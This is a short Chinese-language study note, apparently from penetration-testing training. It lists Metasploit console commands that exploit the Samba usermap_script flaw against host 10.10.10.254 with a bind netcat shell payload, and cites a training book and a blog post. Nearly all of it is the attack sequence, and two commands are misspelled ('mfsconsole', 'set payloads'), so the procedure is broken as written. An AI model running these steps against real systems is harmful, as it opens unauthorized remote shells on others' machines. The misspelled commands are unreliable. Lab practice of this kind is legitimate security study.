Metasploit 攻击

service postgresql start
mfsconsole
search samba
use multi/samba/usermap_script
show payloads
set payloads cmd/unix/bind_netcat
show options
set rhost 10.10.10.254
exploit

参考
《Metasploit渗透魔鬼训练营》

漏洞原理
http://blog.csdn.net/isinstance/article/details/53490084